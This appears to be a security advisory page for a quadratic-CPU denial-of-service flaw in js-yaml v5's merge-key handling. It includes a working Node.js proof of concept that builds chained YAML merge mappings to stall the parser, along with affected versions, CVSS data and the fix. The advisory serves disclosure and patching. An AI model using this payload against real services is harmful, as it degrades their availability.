js-yaml: YAML merge-key chains can force quadratic CPU consumption in js-yaml
Impact
This is the same report as for v3/v4, but with lower severity, because in v5, merge is off by default
When merge keys (<<) are enabled, js-yaml can spend quadratic CPU time parsing a document whose size grows only linearly. The issue is triggered by a chain of mappings where each mapping merges the previous one:
a0: &a0 { k0: 0 }
a1: &a1 { <<: *a0, k1: 1 }
a2: &a2 { <<: *a1, k2: 2 }
a3: &a3 { <<: *a2, k3: 3 }
...
b: *aNFor each new mapping, the loader has to enumerate the keys inherited from the previous mapping. With N chained mappings, this results in roughly 1 + 2 + ... + N merged-key visits, i.e., O(N^2) work for O(N) input size.
PoC
From N = 4000 delay become > 1s (doc size < 100K)
import { performance } from 'node:perf_hooks'
import { Buffer } from 'node:buffer'
import { load, YAML11_SCHEMA } from 'js-yaml'
const n = Number(process.argv[2] || 4000)
function makeMergeChain (count) {
const lines = ['a0: &a0 { k0: 0 }']
for (let i = 1; i < count; i++) {
lines.push(`a${i}: &a${i} { <<: *a${i - 1}, k${i}: ${i} }`)
}
lines.push(`b: *a${count - 1}`)
return `${lines.join('\n')}\n`
}
const source = makeMergeChain(n)
console.log(source.split('\n').slice(0, 8).join('\n'))
console.log('...')
console.log(source.split('\n').slice(-4).join('\n'))
console.log()
console.log(`N: ${n}`)
console.log(`YAML size: ${Buffer.byteLength(source)} bytes`)
const started = performance.now()
const result = load(source, { schema: YAML11_SCHEMA })
const elapsed = performance.now() - started
console.log(`parse time: ${elapsed.toFixed(1)} ms`)
console.log(`top-level keys: ${Object.keys(result).length}`)
console.log(`b keys: ${Object.keys(result.b).length}`)Patches
Fix released. The most robust protection is to limit the total number of merged keys per parse call. This should close all past and future edge cases with merge. The default 10K-key limit should be okay in most cases.
Software afectado
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| Plataforma | Paquete | Versiones vulnerables | Corregida en |
|---|---|---|---|
| Paquete de npm | js-yaml | >= 5.0.0, < 5.2.0 | 5.2.0 |
Referencias
- Vector CVSS
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L- Debilidad (CWE)
CWE-400, CWE-407, CWE-770- Plataforma
- npm
- Paquete
js-yaml- Publicada
- 20.07.2026
- Actualizado
- 11.10.2026 10:22
Fuentes y licencias
OSV / GitHub Advisory Database - GHSA-g796-fgmg-93mv - CC BY 4.0
Historial de vulnerabilidades: js-yaml
Todas las vulnerabilidades publicadas de este paquete (Paquete de npm), de la más reciente a la más antigua. Muestra si es un fallo aislado o un paquete que hay que vigilar.
- Entradas en total
- 12
- Primera → última
- 10.2017 09.2026
- Sin corrección
- 0
- Explotada en ataques
- 0
Distribución por gravedad
- Crítica 1
- Alta 5
- Media 6
Divulgaciones por año
- 2017: 1
- 2018: 0
- 2019: 2
- 2020: 0
- 2021: 0
- 2022: 0
- 2023: 0
- 2024: 0
- 2025: 1
- 2026: 8
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